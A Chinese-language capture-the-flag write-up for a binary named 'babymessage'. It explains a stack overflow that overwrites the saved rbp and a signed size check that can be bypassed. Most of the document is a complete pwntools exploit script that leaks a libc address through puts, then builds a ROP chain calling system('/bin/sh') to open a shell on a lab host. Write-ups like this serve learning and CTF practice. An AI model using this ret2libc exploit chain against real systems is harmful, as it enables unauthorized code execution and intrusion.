stack overflow
发现漏洞点
1
2
3
4
5
6
7
8
9
10
11
12__int64 __fastcall leave_message(unsigned int a1)
{
int v1; // ST14_4@1
__int64 v3; // [sp+18h] [bp-8h]@1
puts("message: ");
v1 = read(0, &v3, a1);//可以覆盖到rbp
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!\n");
return 0LL;
}第一次循环,v1一开始是 16,但 leave_message 中 v3 的长度是 8,造成栈溢出,可以覆盖旧的 rbp,从而在函数返回时伪造 rbp 为任意值。
返回后进入第二次循环,因为在 v1 和 256 比较大小时以 rbp 为基准寻址,加上有符号比较存在整数溢出漏洞,所以可以伪造 rbp 使得 rbp-4 处的值是一个负数,从而绕过大小检查,在 leave_message 中 read 时读入超长字符串,控制返回地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36__int64 work()
{
unsigned int v1; // [sp+Ch] [bp-4h]@1
buf = (char *)malloc(0x100uLL);
v1 = mm + 16;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("choice: ");
__isoc99_scanf("%d", &mm);
if ( mm != 1 )
break;
leave_name();
}
if ( mm != 2 )
break;
if ( (signed int)v1 > 256 ) //v1是从rbp-4处取值
v1 = 256;
leave_message(v1);
}
if ( mm != 3 )
break;
show(v1);
}
if ( mm == 4 )
break;
puts("invalid choice");
}
return 0LL;
}覆盖a1为0x6010d4,使read能读取更多的输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
#p = process(["ld-2.23.so","./babymessage"],env={"LD_PRELOAD":"./libc6_2.23-0ubuntu11.2_amd64.so"})
p = remote('10.10.31.156',10005)
elf = ELF("./babymessage")
libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
vfunc_addr = elf.symbols['main']
print ("work addr:" + str(hex(vfunc_addr)))
system_offset = libc.symbols['system']
read_offset = libc.symbols['read']
#binsh_offset = 0x1b40fa
binsh_offset = next(libc.search(b'/bin/sh'))
pop_rdi = 0x400ac3
payload1 = b'aaaabaaa'+p64(0x6010d4) #覆盖rbp为0x6010d4使下一次read可以覆盖更多栈空间
payload2 = b'a'*16 + p64(0x400ac3) + p64(read_got) + p64(puts_addr) + p64(0x4009dd) #泄露read_got地址,返回main
#gdb.attach(p,gdbscript='''b *0x40083B''')
#gdb.attach(p,gdbscript='''b *0x400887''')
#gdb.attach(p)
p.sendlineafter("choice: \n","1")
p.sendlineafter("name: \n","5")
p.sendlineafter("choice: \n","2")
p.sendlineafter("message: \n",payload1)
print(payload1)
p.sendlineafter("choice: \n","2")
p.sendlineafter("message: \n",payload2)
p.recvuntil("done!\n\n")
read_addr = p.recv(6)
read_addr = u64(read_addr.ljust(8,b'\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - read_offset + system_offset
binsh_addr = read_addr - read_offset + binsh_offset
log.info("system_addr = %#x", system_addr)
log.info("binsh_addr = %#x", binsh_addr)
payload3 = b'aaaabaaa'+p64(0x6010d4)+p64(0x40099f) #gdb跟到这里发现read的size再次被修改回去了,因此我们再覆盖一次read的size,并返回main函数
payload5 = b'a'*16 + p64(0x400ac4) + p64(0x400ac3) + p64(binsh_addr) + p64(system_addr) + p64(0x4009dd) #构造rop链,执行system("/bin/sh"),但是调试发现call system时rsp没有对齐,会导致crash,所以需要县ret一次再pop rdi ;ret
p.sendlineafter("choice: \n","1")
p.sendlineafter("name: \n","5")
p.sendlineafter("choice: \n","2")
p.sendlineafter("message: \n",payload3)
p.sendlineafter("choice: \n","2")
p.sendlineafter("message: \n",payload5)
p.interactive()